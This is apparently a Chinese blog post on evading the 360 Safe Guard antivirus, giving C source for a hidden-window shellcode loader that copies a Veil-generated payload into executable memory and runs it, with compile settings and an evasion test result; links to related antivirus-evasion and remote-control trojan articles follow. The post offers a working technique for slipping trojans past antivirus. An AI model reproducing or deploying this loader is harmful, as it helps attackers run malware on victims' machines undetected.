绕过360安全卫士(无法绕过火绒)

Buchiyexiao

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口unsigned char shellcode[] = "veil_shellcode";void main()
{LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory == NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}

使用VS2019提前将运行库设置成:多线程(/MT),不然VirtualAlloc函数无法正常使用,将编译生成的exe和直接生成的Windows exe木马同时扔到虚拟机中发现,Windows exe被查杀,而免杀处理后的exe绕过360安全卫士(火绒则都会直接查杀删除)


360安全卫士 免杀相关推荐

  1. shellcode之360安全卫士免杀(shecodject)(一)

    环境部署 shecodject工具下载地址: https://github.com/TaroballzChen/Shecodject 安装模块: 运行python3下运行shecodject/setu ...

  2. 360安全卫士查杀日志位置

    官方不提供位置只好自己找. 默认在C:\Users\Administrator\AppData\Roaming\360Safe\360ScanLog

  3. 免杀Bypass!可过WDF/360/火绒的C#混淆器

    0x01 工具简介 这次分享的是一个可用于免杀过WDF/360/火绒的C#混淆器,但只能混淆.Net Framework应用程序.作者写这个工具主要是为了了解更多关于 C# 和混淆器的工作原理. 关注 ...

  4. 红队培训班作业 | 免杀过360和火绒 四种方法大对比

    文章来源|MS08067 红队培训班第12节课作业 本文作者:汤浩荡(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 环境准备: Kali linux安装cs4.2,Windows7系统安装 ...

  5. 远控免杀专题(17)-Python-Rootkit免杀

    免杀能力一览表 几点说明: 1.上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/meterper ...

  6. 远控免杀专题3---msf自免杀

    0x01 免杀能力一览表 上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/ ...

  7. 远控免杀专题(17)-Python-Rootkit免杀(VT免杀率7/69)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  8. 远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)

    原文链接:远控免杀专题文章(3)-msf自免杀(VT免杀率35/69) 免杀能力一览表 几点说明: 1.上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效 ...

  9. 远控免杀从入门到实践(1):基础篇

    郑重声明 1.文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 2.文中提到的杀软检测指标是 virustotal.com(简称 ...

  10. 第六回严重鄙视360安全卫士

    星期一,一个星期的开头,天气不算冷,公车里没有往日的密不透风,我还很幸运只站了一站就捡到了个最后一排靠窗的位置,这是我最喜欢的位置.总结出能捡到位置的办法,如果上车的时候没有空余的位置那就尽量往后靠吧 ...

最新文章

  1. 包区别 版本_详解Linux下二进制包、源代码包、rpm包区别与联系
  2. Chrome的console
  3. 在Java EE应用程序中实现自动重试
  4. 使用delphi 开发多层应用(十)安全访问服务器
  5. Java基础——String类(一)
  6. C++学习之路 | PTA乙级—— 1045 快速排序 (25 分)(精简)
  7. db2数据库免费版限制下载地址
  8. deeplearning中卷积后尺寸的变化
  9. ios xib 四等分_iOS xib文件根据屏幕等比例缩放的适配
  10. python svm核函数_Python.SVM(三)核方法
  11. win下apache2.4 支持php8.0
  12. 第一章 初识JVAV
  13. 第二十四题——[ZJCTF 2019]NiZhuanSiWei
  14. 面试和谈薪技巧及如何避开常见的陷阱
  15. FJUT 2019暑假第三次周赛 C - 郭先生的魔法阵
  16. eclipse中ADT和SDK配置(详解)
  17. 关于文件格式识别转换
  18. Windows Jar包开机自启动
  19. 任务栏的浏览器(包括chrome、IE、firefox等)主页被劫持
  20. 计算机打单基础知识,电脑基础知识:简单认识打印机及耗材

热门文章

  1. msm8953 单独编译bootloader、kernel和system,以及采用adb fastboot下载镜像的方法
  2. JAVA购物管理系统
  3. 超市管理系统java代码_java实现简单超市管理系统
  4. 企业级AD域管理部署实战 微软升级版MCSE MCSA必修课程 Windows Server 2016AD管理实战
  5. html js禁止跳转页面,js 控制页面跳转的5种方法
  6. 标准电阻阻值速查表及由来
  7. 3.1 数值分析: 迭代法的基本思想
  8. HTML基础编程——简介及第一行代码
  9. c语言图形编程.pdf,C语言图形编程
  10. idea 2022年使用教程